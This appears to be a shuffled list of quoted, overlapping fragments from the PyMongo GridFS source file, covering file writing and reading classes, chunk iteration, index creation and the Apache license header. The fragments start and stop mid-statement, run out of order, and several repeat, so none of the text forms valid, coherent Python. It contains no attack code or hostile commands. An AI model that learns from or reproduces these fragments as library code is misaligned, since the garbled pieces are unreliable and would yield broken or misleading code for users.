NotImplementedError(\"Method does not", "__setattr__ if name in self.__dict__ or name in self.__class__.__dict__: object.__setattr__(self,", "file to GridFS Application developers should generally not need to", "``session`` parameter. .. versionchanged:: 3.0 `root_collection` must use an acknowledged", "object.__setattr__(self, \"_chunk_number\", 0) object.__setattr__(self, \"_closed\", False) object.__setattr__(self, \"_ensured_index\", False) def", "setter, doc=docstring) return property(getter, doc=docstring) def _grid_out_property(field_name, docstring): \"\"\"Create a", "add_option(self, *args, **kwargs): raise NotImplementedError(\"Method does not exist for GridOutCursor\")", "`root_collection`: root collection to read from - `file_id` (optional): value", "chunk = self.__chunk_iter.next() chunk_data = chunk[\"data\"][self.__position % chunk_size:] if not", "b\"\\n\" \"\"\"Default chunk size, in bytes.\"\"\" # Slightly under a", "for all commands - `**kwargs` (optional): file level options (see", "received - size # Return 'size' bytes and store the", ":class:`TypeError` if `root_collection` is not an instance of :class:`~pymongo.collection.Collection`. :Parameters:", "self._length - (self._chunk_size * (self._num_chunks - 1)) def __iter__(self): return", "= self.__files.find_one({\"_id\": self.__file_id}, session=self._session) if not self._file: raise NoFile(\"no file", "is returned. \"\"\" received = len(self.__buffer) chunk_data = EMPTY chunk_size", "- ``\"chunkSize\"`` or ``\"chunk_size\"``: size of each of the chunks,", "__init__(self, grid_out, chunks, session): self.__chunk_iter = _GridOutChunkIterator(grid_out, chunks, session, 0)", "the file, instead of chunks, to conform to the base", "``\"chunkSize\"`` or ``\"chunk_size\"``: size of each of the chunks, in", ":attr:`encoding` before being written. Due to buffering, the data may", "or ``\"content_type\"``: valid mime-type for the file - ``\"chunkSize\"`` or", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "normal :class:`~pymongo.cursor.Cursor`. Should not be called directly by application developers", "self.__flush_buffer() to_write = read(self.chunk_size) while to_write and len(to_write) == self.chunk_size:", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "for the specific language governing permissions and # limitations under", "acknowledged :attr:`~pymongo.collection.Collection.write_concern` \"\"\" if not isinstance(root_collection, Collection): raise TypeError(\"root_collection must", "sequence of strings to the file. Does not add seperators.", "return # EOF or incomplete self.__flush_buffer() to_write = read(self.chunk_size) while", "ASCENDING)]) _F_INDEX = SON([(\"filename\", ASCENDING), (\"uploadDate\", ASCENDING)]) def _grid_in_property(field_name, docstring,", "complete space = self.chunk_size - self._buffer.tell() if space: try: to_write", "``\"filename\"``: human name for the file - ``\"contentType\"`` or ``\"content_type\"``:", "`filename`.\") content_type = _grid_out_property(\"contentType\", \"Mime-type for this file.\") length =", "MongoDB, Inc. # # Licensed under the Apache License, Version", "return True def __enter__(self): \"\"\"Support for the context manager protocol.", "the :meth:`close` method is called. Raises :class:`ValueError` if this file", "required by applicable law or agreed to in writing, software", "chunks/files that may have been uploaded and close. \"\"\" self._coll.chunks.delete_many(", "chunks in the file. .. versionchanged:: 3.6 Added ``session`` parameter.", "BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either", "See https://docs.python.org/3/library/io.html#io.IOBase.writable # for why truncate has to raise. raise", "_buffer is complete space = self.chunk_size - self._buffer.tell() if space:", "and \" \"can only be read after :meth:`close` \" \"has", "where two calls to read occur more than 10 minutes", "or name in self.__class__.__dict__: object.__setattr__(self, name, value) else: # All", "data.read() data.seek(0) return data.read(size) def readline(self, size=-1): \"\"\"Read one line", "\"if an md5 sum was created.\") def _ensure_file(self): if not", "bytes from the file (less if there isn't enough data).", "(the server's default cursor timeout). \"\"\" if self._cursor is None:", "FileExists exception for the given file_id.\"\"\" raise FileExists(\"file with _id", "better follow the GridFS spec, :class:`GridOut` now uses a single", "= collection.find_one(projection={\"_id\": 1}, session=self._session) if doc is None: try: index_keys", "file.\", closed_only=True) chunk_size = _grid_in_property(\"chunkSize\", \"Chunk size for this file.\",", "by ``b'\\\\n'``) of :class:`bytes`. This can be useful when serving", "SHOULD be an Int64. self._file[\"length\"] = Int64(self._position) self._file[\"uploadDate\"] = datetime.datetime.utcnow()", "chunk_data = self.readchunk() pos = chunk_data.find(NEWLN, 0, size) if pos", "n=%d\" % (self._next_chunk, chunk[\"n\"])) if chunk[\"n\"] >= self._num_chunks: # According", "# Override IOBase.__del__ otherwise it will lead to __getattr__ on", "from - `file_id` (optional): value of ``\"_id\"`` for the file", "object, or an instance of :class:`str`. Unicode data is only", "def __setattr__(self, name, value): # For properties of this instance", "this file.\") upload_date = _grid_out_property(\"uploadDate\", \"Date that this file was", "chunk[\"n\"])) expected_length = self.expected_chunk_length(chunk[\"n\"]) if len(chunk[\"data\"]) != expected_length: self.close() raise", "extra chunk in a file. \"\"\" def __init__(self, grid_out, chunks,", "agreed to in writing, software # distributed under the License", "size > remainder: size = remainder if size == 0:", "the License. \"\"\"Tools for representing files stored in GridFS.\"\"\" import", "exc_val, exc_tb): \"\"\"Makes it possible to use :class:`GridOut` files with", "size=-1): \"\"\"Read one line or up to `size` bytes from", "distributed under the License is distributed on an \"AS IS\"", "must be an \" \"instance of Collection\") _disallow_transactions(session) root_collection =", ":class:`GridOut` now uses a single cursor to read all the", "not an instance of :class:`~pymongo.collection.Collection`. Any of the file level", "for this file. Any :class:`str` that is written to the", "in collection.list_indexes(session=self._session)] except OperationFailure: index_keys = [] if index_key not", "index_key.items(), unique=unique, session=self._session) def __ensure_indexes(self): if not object.__getattribute__(self, \"_ensured_index\"): _disallow_transactions(self._session)", "_C_INDEX, True) object.__setattr__(self, \"_ensured_index\", True) def abort(self): \"\"\"Remove all chunks/files", "except AttributeError: # string if not isinstance(data, (str, bytes)): raise", "\"\"\"Read one line or up to `size` bytes from the", "Raises :class:`TypeError` if `root_collection` is not an instance of :class:`~pymongo.collection.Collection`.", "bson.int64 import Int64 from bson.son import SON from bson.binary import", "_disallow_transactions(session) collection = _clear_entity_type_registry(collection) # Hold on to the base", "self.expected_chunk_length(chunk[\"n\"]) if len(chunk[\"data\"]) != expected_length: self.close() raise CorruptGridFile( \"truncated chunk", "_grid_out_property(\"_id\", \"The ``'_id'`` value for this file.\") filename = _grid_out_property(\"filename\",", "read_only=False, closed_only=False): \"\"\"Create a GridIn property.\"\"\" def getter(self): if closed_only", "None: self._create_cursor() try: return self._cursor.next() except CursorNotFound: self._cursor.close() self._create_cursor() return", "chunk[\"n\"])) if chunk[\"n\"] >= self._num_chunks: # According to spec, ignore", "Collection): raise TypeError(\"root_collection must be an \" \"instance of Collection\")", "an encoding for file in \" \"order to write str\")", "close(self): if self._cursor: self._cursor.close() self._cursor = None class GridOutIterator(object): def", "session and session.in_transaction: raise InvalidOperation( 'GridFS does not support multi-document", "of this instance like _buffer, or descriptors set on #", "4.0 The iterator now iterates over *lines* in the file,", "index_key not in index_keys: collection.create_index( index_key.items(), unique=unique, session=self._session) def __ensure_indexes(self):", "options (see above) .. versionchanged:: 4.0 Removed the `disable_md5` parameter.", "in kwargs: kwargs[\"contentType\"] = kwargs.pop(\"content_type\") if \"chunk_size\" in kwargs: kwargs[\"chunkSize\"]", "this file closed? \"\"\" return self._closed _id = _grid_in_property(\"_id\", \"The", "file.\") metadata = _grid_out_property(\"metadata\", \"Metadata attached to this file.\") md5", "in the file. .. versionchanged:: 3.6 Added ``session`` parameter. ..", "\"Chunk size for this file.\") upload_date = _grid_out_property(\"uploadDate\", \"Date that", "0 self._file = file_document self._session = session _id = _grid_out_property(\"_id\",", "-= received - size # Return 'size' bytes and store", "- `root_collection`: root collection to read from - `file_id` (optional):", "by :class:`~gridfs.GridFS`. Either `file_id` or `file_document` must be specified, `file_document`", "\"\"\"Return an iterator over all of this file's data. The", "MongoDB documentation on `cursors <https://dochub.mongodb.org/core/cursors>`_. \"\"\" _disallow_transactions(session) collection = _clear_entity_type_registry(collection)", "truncate(self, size=None): # See https://docs.python.org/3/library/io.html#io.IOBase.writable # for why truncate has", "object.__setattr__(self, \"_buffer\", io.BytesIO()) object.__setattr__(self, \"_position\", 0) object.__setattr__(self, \"_chunk_number\", 0) object.__setattr__(self,", ":class:`~pymongo.client_session.ClientSession` to use for all commands .. versionchanged:: 3.8 For", "and close it. A closed file cannot be written any", "protocol. \"\"\" return self def __exit__(self, exc_type, exc_val, exc_tb): \"\"\"Support", "to_write = read(space) except: self.abort() raise self._buffer.write(to_write) if len(to_write) <", ":Parameters: - `data`: string of bytes or file-like object to", "_buffer, or descriptors set on # the class like filename,", "_id %r already exists\" % file_id) def close(self): \"\"\"Flush the", "extra chunks if they are empty. if len(chunk[\"data\"]): self.close() raise", "CorruptGridFile when encountering any truncated, missing, or extra chunk in", "actually be written to the database until the :meth:`close` method", "cannot do I/O in __del__ since it can lead to", "ReadPreference from gridfs.errors import CorruptGridFile, FileExists, NoFile try: _SEEK_SET =", "time. If the current position is within a chunk the", "self._file = file_document self._session = session _id = _grid_out_property(\"_id\", \"The", "write str\") read = io.BytesIO(data).read if self._buffer.tell() > 0: #", "`data` can also be a :class:`str` instance, which will be", "size # Return 'size' bytes and store the rest. data.seek(size)", ".. versionadded 2.7 .. seealso:: The MongoDB documentation on `cursors", "self.__chunk_iter.next() return bytes(chunk[\"data\"]) __next__ = next class GridOutCursor(Cursor): \"\"\"A cursor", "next def add_option(self, *args, **kwargs): raise NotImplementedError(\"Method does not exist", "\"\"\" return self def close(self): \"\"\"Make GridOut more generically file-like.\"\"\"", "doc is None: try: index_keys = [index_spec['key'] for index_spec in", "read-only and \" \"can only be read after :meth:`close` \"", "attribute is read-only and \" \"can only be read after", "False def seekable(self): return False def write(self, data): \"\"\"Write data", "2 EMPTY = b\"\" NEWLN = b\"\\n\" \"\"\"Default chunk size,", "created.\") def _ensure_file(self): if not self._file: _disallow_transactions(self._session) self._file = self.__files.find_one({\"_id\":", "file - ``\"filename\"``: human name for the file - ``\"contentType\"``", "size=None): # See https://docs.python.org/3/library/io.html#io.IOBase.writable # for why truncate has to", "return bytes(chunk[\"data\"]) __next__ = next class GridOutCursor(Cursor): \"\"\"A cursor /", "for information to be copied into. \"\"\" return GridOutCursor(self.__root_collection, session=session)", "file has an :attr:`encoding` attribute. :Parameters: - `data`: string of", "== self.__position: return self.__position = new_pos self.__buffer = EMPTY if", "import math import os from bson.int64 import Int64 from bson.son", "self._file[\"uploadDate\"] = datetime.datetime.utcnow() return self._coll.files.insert_one( self._file, session=self._session) except DuplicateKeyError: self._raise_file_exists(self._id)", "to the file. There is no return value. `data` can", "``\"_id\"`` must not have already been used for another file", "\"content_type\" in kwargs: kwargs[\"contentType\"] = kwargs.pop(\"content_type\") if \"chunk_size\" in kwargs:", "# string if not isinstance(data, (str, bytes)): raise TypeError(\"can only", "return property(getter, doc=docstring) def _clear_entity_type_registry(entity, **kwargs): \"\"\"Clear the given database/collection", "0) return self._file.get(field_name, None) docstring += \"\\n\\nThis attribute is read-only.\"", "entity.codec_options.with_options(type_registry=None) return entity.with_options(codec_options=codecopts, **kwargs) def _disallow_transactions(session): if session and session.in_transaction:", "= value if self._closed: self._coll.files.update_one({\"_id\": self._file[\"_id\"]}, {\"$set\": {name: value}}) def", "the file. Does not add seperators. \"\"\" for line in", "this ``\"_id\"`` must not have already been used for another", "objects later. self.__root_collection = collection super(GridOutCursor, self).__init__( collection.files, filter, skip=skip,", "the chunks, in bytes (default: 255 kb) - ``\"encoding\"``: encoding", "\"\"\" self._coll.chunks.delete_many( {\"files_id\": self._file['_id']}, session=self._session) self._coll.files.delete_one( {\"_id\": self._file['_id']}, session=self._session) object.__setattr__(self,", "= io.BytesIO() while received < size: chunk_data = self.readchunk() received", "return self._file[name] raise AttributeError(\"GridIn object has no attribute '%s'\" %", "such an iterator efficiently. .. versionchanged:: 3.8 The iterator now", "OR CONDITIONS OF ANY KIND, either express or implied. #", "== _SEEK_CUR: new_pos = self.__position + pos elif whence ==", "for extra chunks after reading the entire file. Previously, this", "chunks on every call. \"\"\" self._ensure_file() remainder = int(self.length) -", "on # the class like filename, use regular __setattr__ if", "the License is distributed on an \"AS IS\" BASIS, #", "name in self.__dict__ or name in self.__class__.__dict__: object.__setattr__(self, name, value)", "return self def close(self): \"\"\"Make GridOut more generically file-like.\"\"\" if", "self._coll.files.update_one({\"_id\": self._file[\"_id\"]}, {\"$set\": {name: value}}) def __flush_data(self, data): \"\"\"Flush `data`", "% (self.__files, self.__file_id)) def __getattr__(self, name): self._ensure_file() if name in", "kwargs[\"chunkSize\"] = kwargs.get(\"chunkSize\", DEFAULT_CHUNK_SIZE) object.__setattr__(self, \"_session\", session) object.__setattr__(self, \"_coll\", coll)", "def closed(self): \"\"\"Is this file closed? \"\"\" return self._closed _id", "io.BytesIO(data).read if self._buffer.tell() > 0: # Make sure to flush", "file.\") length = _grid_out_property(\"length\", \"Length (in bytes) of this file.\")", "the buffer contents out to a chunk. \"\"\" self.__flush_data(self._buffer.getvalue()) self._buffer.close()", "server on close() or if closed, send # them now.", "two calls to read occur more than 10 minutes apart", "is read-only, so flush does nothing. pass def isatty(self): return", "Int64 from bson.son import SON from bson.binary import Binary from", "exception for the given file_id.\"\"\" raise FileExists(\"file with _id %r", "is read-only and \" \"can only be read after :meth:`close`", "def readline(self, size=-1): \"\"\"Read one line or up to `size`", "rest. data.seek(size) self.__buffer = data.read() data.seek(0) return data.read(size) def tell(self):", "a webserver that handles such an iterator efficiently. .. versionchanged::", "Does not add seperators. \"\"\" for line in sequence: self.write(line)", "allowed if the file has an :attr:`encoding` attribute. :Parameters: -", "buffer contents out to a chunk. \"\"\" self.__flush_data(self._buffer.getvalue()) self._buffer.close() self._buffer", "session, 0) def __iter__(self): return self def next(self): chunk =", "an md5 sum was created.\", closed_only=True) def __getattr__(self, name): if", "law or agreed to in writing, software # distributed under", "iterator over all of this file's data. The iterator will", "import ReadPreference from gridfs.errors import CorruptGridFile, FileExists, NoFile try: _SEEK_SET", "if `data` is not an instance of :class:`bytes`, a file-like", "methods provided by :class:`~gridfs.GridFS`. Either `file_id` or `file_document` must be", "and len(to_write) == self.chunk_size: self.__flush_data(to_write) to_write = read(self.chunk_size) self._buffer.write(to_write) def", "_SEEK_END = 2 EMPTY = b\"\" NEWLN = b\"\\n\" \"\"\"Default", "versionchanged:: 3.0 `root_collection` must use an acknowledged :attr:`~pymongo.collection.Collection.write_concern` \"\"\" if", "reading the entire file. Previously, this method would check for", "iterator will return lines (delimited by ``b'\\\\n'``) of :class:`bytes`. This", "def __create_index(self, collection, index_key, unique): doc = collection.find_one(projection={\"_id\": 1}, session=self._session)", "of strings to the file. Does not add seperators. \"\"\"", "truncated, missing, or extra chunk in a file. \"\"\" def", "while received < size: chunk_data = self.readchunk() received += len(chunk_data)", "self.__flush_data(self._buffer.getvalue()) self._buffer.close() self._buffer = io.BytesIO() def __flush(self): \"\"\"Flush the file", "spec, ignore extra chunks if they are empty. if len(chunk[\"data\"]):", "- size # Return 'size' bytes and store the rest.", "data.seek(0) return data.read(size) def tell(self): \"\"\"Return the current position of", "from bson.int64 import Int64 from bson.son import SON from bson.binary", "Defaults kwargs[\"_id\"] = kwargs.get(\"_id\", ObjectId()) kwargs[\"chunkSize\"] = kwargs.get(\"chunkSize\", DEFAULT_CHUNK_SIZE) object.__setattr__(self,", "data.write(chunk_data) if pos != -1: break self.__position -= received -", "io.UnsupportedOperation('fileno') def flush(self): # GridOut is read-only, so flush does", "new cursor, similar to the normal :class:`~pymongo.cursor.Cursor`. Should not be", "= None super().close() def write(self, value): raise io.UnsupportedOperation('write') def writelines(self,", "\"has been called.\") if not read_only and not closed_only: return", "using a webserver that handles such an iterator efficiently. ..", "pymongo import ASCENDING from pymongo.collection import Collection from pymongo.cursor import", "received = len(self.__buffer) chunk_data = EMPTY chunk_size = int(self.chunk_size) if", "self._session = session _id = _grid_out_property(\"_id\", \"The ``'_id'`` value for", "occur more than 10 minutes apart (the server's default cursor", "expected chunk #%d but found \" \"chunk with n=%d\" %", "extra chunks on every call. \"\"\" self._ensure_file() remainder = int(self.length)", "may obtain a copy of the License at # #", "for this file.\") length = _grid_in_property(\"length\", \"Length (in bytes) of", "file \"\"\" if self._closed: raise ValueError(\"cannot write to a closed", "maintain backwards compatibility in cases where two calls to read", "= SON([(\"filename\", ASCENDING), (\"uploadDate\", ASCENDING)]) def _grid_in_property(field_name, docstring, read_only=False, closed_only=False):", ":Parameters: - `size` (optional): the maximum number of bytes to", "return self._file.get(field_name, 0) return self._file.get(field_name, None) def setter(self, value): if", "``\"contentType\"`` or ``\"content_type\"``: valid mime-type for the file - ``\"chunkSize\"``", "is within a chunk the remainder of the chunk is", "chunks after reading the entire file. if size == remainder", "collection = _clear_entity_type_registry(collection) # Hold on to the base \"fs\"", "\"\"\"Flush `data` to a chunk. \"\"\" self.__ensure_indexes() if not data:", "protocol. Close the file and allow exceptions to propagate. \"\"\"", "_grid_out_property(\"md5\", \"MD5 of the contents of this file \" \"if", "os.SEEK_SET _SEEK_CUR = os.SEEK_CUR _SEEK_END = os.SEEK_END # before 2.5", "root collection to write to - `session` (optional): a :class:`~pymongo.client_session.ClientSession`", "4.0 Removed the `disable_md5` parameter. See :ref:`removed-gridfs-checksum` for details. ..", "not root_collection.write_concern.acknowledged: raise ConfigurationError('root_collection must use ' 'acknowledged write_concern') _disallow_transactions(session)", "__setattr__(self, name, value): # For properties of this instance like", "on CursorNotFound to maintain backwards compatibility in cases where two", "may not use this file except in compliance with the", "or incomplete self.__flush_buffer() to_write = read(self.chunk_size) while to_write and len(to_write)", "but found \" \"chunk with n=%d\" % (self._num_chunks, chunk[\"n\"])) expected_length", "by chunk instead of line by line. \"\"\" return self", "encountering any truncated, missing, or extra chunk in a file.", "this file except in compliance with the License. # You", "extra chunks after reading the entire file. Previously, this method", "0) object.__setattr__(self, \"_chunk_number\", 0) object.__setattr__(self, \"_closed\", False) object.__setattr__(self, \"_ensured_index\", False)", "protocol. \"\"\" self.close() return False def fileno(self): raise io.UnsupportedOperation('fileno') def", "self._ensure_file() # Protect against PHP-237 if field_name == 'length': return", "\"Extra chunk found: expected %d chunks but found \" \"chunk", "for index_spec in collection.list_indexes(session=self._session)] except OperationFailure: index_keys = [] if", "power of 2, to work well with server's record allocations.", "potentially performs I/O. # We cannot do I/O in __del__", "to read .. versionchanged:: 3.8 This method now only checks", "readline(self, size=-1): \"\"\"Read one line or up to `size` bytes", "return self._cursor.next() def next(self): try: chunk = self._next_with_retry() except StopIteration:", "kwargs[\"chunkSize\"] = kwargs.pop(\"chunk_size\") coll = _clear_entity_type_registry( root_collection, read_preference=ReadPreference.PRIMARY) # Defaults", "sort=sort, batch_size=batch_size, session=session) def next(self): \"\"\"Get next GridOut object from", "# # Licensed under the Apache License, Version 2.0 (the", "Application developers should generally not need to instantiate this class", "on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS", "size for this file.\", read_only=True) upload_date = _grid_in_property(\"uploadDate\", \"Date that", "when encountering any truncated, missing, or extra chunk in a", "Work around \"super is not iterable\" issue in Python 3.x", "provided by :class:`~gridfs.GridFS`. Raises :class:`TypeError` if `root_collection` is not an", "= _grid_out_property(\"filename\", \"Alias for `filename`.\") content_type = _grid_out_property(\"contentType\", \"Mime-type for", "in sequence: self.write(line) def writeable(self): return True def __enter__(self): \"\"\"Support", "GridFS Application developers should generally not need to instantiate this", "data = io.BytesIO() while received < size: chunk_data = self.readchunk()", "self._cursor = None def expected_chunk_length(self, chunk_n): if chunk_n < self._num_chunks", "read(self, size=-1): raise io.UnsupportedOperation('read') def readable(self): return False def seekable(self):", "allow exceptions to propagate. \"\"\" self.close() # propagate exceptions return", "uses a single cursor to read all the chunks in", "instance, which will be encoded as :attr:`encoding` before being written.", "to a chunk. \"\"\" self.__ensure_indexes() if not data: return assert(len(data)", "the file to the database. \"\"\" try: self.__flush_buffer() # The", ":class:`str` instance, which will be encoded as :attr:`encoding` before being", "self._file: _disallow_transactions(self._session) self._file = self.__files.find_one({\"_id\": self.__file_id}, session=self._session) if not self._file:", "__init__(self, grid_out, chunks, session, next_chunk): self._id = grid_out._id self._chunk_size =", "_SEEK_SET: new_pos = pos elif whence == _SEEK_CUR: new_pos =", "chunk_n < self._num_chunks - 1: return self._chunk_size return self._length -", "will be given priority if present. Raises :class:`TypeError` if `root_collection`", "converted to :class:`bytes`. :Parameters: - `root_collection`: root collection to write", "if not read_only and not closed_only: return property(getter, setter, doc=docstring)", "file. .. versionchanged:: 3.6 Added ``session`` parameter. .. versionchanged:: 3.0", "of :class:`str` (:class:`bytes` in python 3). If `size` is negative", "an :attr:`encoding` attribute, `data` can also be a :class:`str` instance,", "DEFAULT_CHUNK_SIZE = 255 * 1024 _C_INDEX = SON([(\"files_id\", ASCENDING), (\"n\",", "of the file level options specified in the `GridFS Spec", "only allowed if the file has an :attr:`encoding` attribute. :Parameters:", "self._file.get(field_name, None) docstring += \"\\n\\nThis attribute is read-only.\" return property(getter,", "the remainder of the chunk is returned. \"\"\" received =", "ASCENDING from pymongo.collection import Collection from pymongo.cursor import Cursor from", "file. \"\"\" def __init__(self, grid_out, chunks, session, next_chunk): self._id =", "/ iterator for returning GridOut objects as the result of", "Valid keyword arguments include: - ``\"_id\"``: unique ID for this", "a closed file\" % field_name) # Protect against PHP-237 if", "self.close() return False def fileno(self): raise io.UnsupportedOperation('fileno') def flush(self): #", "at most `size` bytes from the file (less if there", "when serving files using a webserver that handles such an", "# Work around \"super is not iterable\" issue in Python", "in gridfs collection %r with _id %r\" % (self.__files, self.__file_id))", "read-only, so flush does nothing. pass def isatty(self): return False", "10 minutes apart (the server's default cursor timeout). \"\"\" if", "object.__getattribute__(self, \"_ensured_index\"): _disallow_transactions(self._session) self.__create_index(self._coll.files, _F_INDEX, False) self.__create_index(self._coll.chunks, _C_INDEX, True) object.__setattr__(self,", "from the file. :Parameters: - `size` (optional): the maximum number", "\"\"\"Return the current position of this file. \"\"\" return self.__position", "cursor. \"\"\" _disallow_transactions(self.session) # Work around \"super is not iterable\"", "self.__chunks, self._session, chunk_number) chunk = self.__chunk_iter.next() chunk_data = chunk[\"data\"][self.__position %", "chunk_n): if chunk_n < self._num_chunks - 1: return self._chunk_size return", "or implied. # See the License for the specific language", "= len(self.__buffer) chunk_data = EMPTY chunk_size = int(self.chunk_size) if received", "a closed file\") try: # file-like read = data.read except", "of this file. :Parameters: - `pos`: the position (or offset", "GridOutCursor\") def _clone_base(self, session): \"\"\"Creates an empty GridOutCursor for information", "not be called directly by application developers - see the", "= 0 self._file = file_document self._session = session _id =", "self.__chunk_iter: self.__chunk_iter.close() self.__chunk_iter = None super().close() def write(self, value): raise", "human name for the file - ``\"contentType\"`` or ``\"content_type\"``: valid", "to propagate. \"\"\" self.close() # propagate exceptions return False class", "why truncate has to raise. raise io.UnsupportedOperation('truncate') # Override IOBase.__del__", "the base \"fs\" collection to create GridOut objects later. self.__root_collection", "docstring += \"\\n\\nThis attribute is read-only.\" return property(getter, doc=docstring) def", "\" \"chunk with n=%d\" % (self._next_chunk, chunk[\"n\"])) if chunk[\"n\"] >=", "will return lines (delimited by ``b'\\\\n'``) of :class:`bytes`. This can", "\" \"found chunk with length %d\" % ( chunk[\"n\"], expected_length,", "of bytes to read .. versionchanged:: 3.8 This method now", "data.read(size) def tell(self): \"\"\"Return the current position of this file.", "size, in bytes.\"\"\" # Slightly under a power of 2,", "self._chunk_size return self._length - (self._chunk_size * (self._num_chunks - 1)) def", "missing chunk. .. versionchanged:: 4.0 The iterator now iterates over", "= _grid_out_property(\"md5\", \"MD5 of the contents of this file \"", "- must be positive\") # Optimization, continue using the same", "- `data`: string of bytes or file-like object to be", "first needed. \"\"\" if not isinstance(root_collection, Collection): raise TypeError(\"root_collection must", "= chunk_data.find(NEWLN, 0, size) if pos != -1: size =", "`file_document` (optional): file document from `root_collection.files` - `session` (optional): a", "for GridOutCursor\") def remove_option(self, *args, **kwargs): raise NotImplementedError(\"Method does not", "`data` can be either a string of bytes or a", "\"\"\" if whence == _SEEK_SET: new_pos = pos elif whence", "_grid_out_property(\"uploadDate\", \"Date that this file was first uploaded.\") aliases =", "not self._file: raise NoFile(\"no file in gridfs collection %r with", "GridOutCursor(Cursor): \"\"\"A cursor / iterator for returning GridOut objects as", "permissions and # limitations under the License. \"\"\"Tools for representing", "There is no return value. `data` can be either a", "= int((received + self.__position) / chunk_size) if self.__chunk_iter is None:", "The previous behavior was to only raise :class:`CorruptGridFile` on a", "with the context manager protocol. \"\"\" self.close() return False def", "= {\"files_id\": self._id} if self._next_chunk > 0: filter[\"n\"] = {\"$gte\":", "file document. Valid keyword arguments include: - ``\"_id\"``: unique ID", "self.__chunk_iter = _GridOutChunkIterator( self, self.__chunks, self._session, chunk_number) chunk = self.__chunk_iter.next()", "file. \"\"\" return self.__position def seek(self, pos, whence=_SEEK_SET): \"\"\"Set the", "\"\"\" self._ensure_file() remainder = int(self.length) - self.__position if size <", "follow the GridFS spec, :class:`GridOut` now uses a single cursor", "attribute is read-only.\" return property(getter, doc=docstring) def _clear_entity_type_registry(entity, **kwargs): \"\"\"Clear", "NoFile(\"no file in gridfs collection %r with _id %r\" %", "if received > 0: chunk_data = self.__buffer elif self.__position <", "relative to the file's end. \"\"\" if whence == _SEEK_SET:", "should generally not need to instantiate this class directly -", "manager protocol. \"\"\" return self def __exit__(self, exc_type, exc_val, exc_tb):", "methods provided by :class:`~gridfs.GridFS`. Raises :class:`TypeError` if `root_collection` is not", "Added ``session`` parameter. .. versionchanged:: 3.0 `root_collection` must use an", "\"\"\"Read a file from GridFS Application developers should generally not", "directly - instead see the methods provided by :class:`~gridfs.GridFS`. Either", "strings to the file. Does not add seperators. \"\"\" for", "self.__file_id)) def __getattr__(self, name): self._ensure_file() if name in self._file: return", "to be %d but \" \"found chunk with length %d\"", "io.UnsupportedOperation('writelines') def writable(self): return False def __enter__(self): \"\"\"Makes it possible", "now iterates over *lines* in the file, instead of chunks,", "else: # All other attributes are part of the document", "self def __exit__(self, exc_type, exc_val, exc_tb): \"\"\"Makes it possible to", "Removed the `disable_md5` parameter. See :ref:`removed-gridfs-checksum` for details. .. versionchanged::", "\"MD5 of the contents of this file \" \"if an", "context manager protocol. \"\"\" self.close() return False def fileno(self): raise", "`file_id` (optional): value of ``\"_id\"`` for the file to read", "file.\", read_only=True) filename = _grid_in_property(\"filename\", \"Name of this file.\") name", "= {\"files_id\": self._file[\"_id\"], \"n\": self._chunk_number, \"data\": Binary(data)} try: self._chunks.insert_one(chunk, session=self._session)", "raises :class:`CorruptGridFile` when encountering any truncated, missing, or extra chunk", "metadata = _grid_out_property(\"metadata\", \"Metadata attached to this file.\") md5 =", "chunk_data = EMPTY chunk_size = int(self.chunk_size) if received > 0:", "def seekable(self): return False def write(self, data): \"\"\"Write data to", "of this file.\") name = _grid_out_property(\"filename\", \"Alias for `filename`.\") content_type", "try: self._chunks.insert_one(chunk, session=self._session) except DuplicateKeyError: self._raise_file_exists(self._file['_id']) self._chunk_number += 1 self._position", "if size < 0 or size > remainder: size =", "for the file - ``\"contentType\"`` or ``\"content_type\"``: valid mime-type for", "self.__position -= received - size # Return 'size' bytes and", "to the current position, :attr:`os.SEEK_END` (``2``) to seek relative to", "cursor timeout). \"\"\" if self._cursor is None: self._create_cursor() try: return", "See :ref:`removed-gridfs-checksum` for details. .. versionchanged:: 3.7 Added the `disable_md5`", "are returned as an instance of :class:`str` (:class:`bytes` in python", "file in \" \"order to write str\") read = io.BytesIO(data).read", "for returning GridOut objects as the result of an arbitrary", "sort=None, batch_size=0, session=None): \"\"\"Create a new cursor, similar to the", "True) @property def closed(self): \"\"\"Is this file closed? \"\"\" return", "encoding for file in \" \"order to write str\") read", "read after :meth:`close` \" \"has been called.\") if not read_only", "\"\"\" return self._closed _id = _grid_in_property(\"_id\", \"The ``'_id'`` value for", "already exists\" % file_id) def close(self): \"\"\"Flush the file and", "> 0: # Make sure to flush only when _buffer", "file was first uploaded.\") aliases = _grid_out_property(\"aliases\", \"List of aliases", "or file-like object to be written to the file \"\"\"", "Should not be called directly by application developers - see", "for this file (default: :class:`~bson.objectid.ObjectId`) - this ``\"_id\"`` must not", "+ pos elif whence == _SEEK_END: new_pos = int(self.length) +", "return self._length - (self._chunk_size * (self._num_chunks - 1)) def __iter__(self):", "versionchanged:: 3.8 This method now only checks for extra chunks", "with _id %r already exists\" % file_id) def close(self): \"\"\"Flush", "def flush(self): # GridOut is read-only, so flush does nothing.", "for the file - ``\"chunkSize\"`` or ``\"chunk_size\"``: size of each", ":Parameters: - `root_collection`: root collection to write to - `session`", "sum was created.\") def _ensure_file(self): if not self._file: _disallow_transactions(self._session) self._file", "= _GridOutChunkIterator( self, self.__chunks, self._session, chunk_number) chunk = self.__chunk_iter.next() chunk_data", "out of GridFS. \"\"\" def __init__(self, root_collection, file_id=None, file_document=None, session=None):", "index_spec in collection.list_indexes(session=self._session)] except OperationFailure: index_keys = [] if index_key", "collection.create_index( index_key.items(), unique=unique, session=self._session) def __ensure_indexes(self): if not object.__getattribute__(self, \"_ensured_index\"):", "the data may not actually be written to the database", "True def __enter__(self): \"\"\"Support for the context manager protocol. \"\"\"", "file.\") filename = _grid_out_property(\"filename\", \"Name of this file.\") name =", "0: return EMPTY received = 0 data = io.BytesIO() while", "= _grid_in_property(\"filename\", \"Name of this file.\") name = _grid_in_property(\"filename\", \"Alias", "\"_closed\", True) def read(self, size=-1): raise io.UnsupportedOperation('read') def readable(self): return", ":class:`~bson.objectid.ObjectId`) - this ``\"_id\"`` must not have already been used", "def __exit__(self, exc_type, exc_val, exc_tb): \"\"\"Makes it possible to use", "False def truncate(self, size=None): # See https://docs.python.org/3/library/io.html#io.IOBase.writable # for why", "``\"chunk_size\"``: size of each of the chunks, in bytes (default:", "self._next_chunk += 1 return chunk __next__ = next def close(self):", "{\"files_id\": self._file['_id']}, session=self._session) self._coll.files.delete_one( {\"_id\": 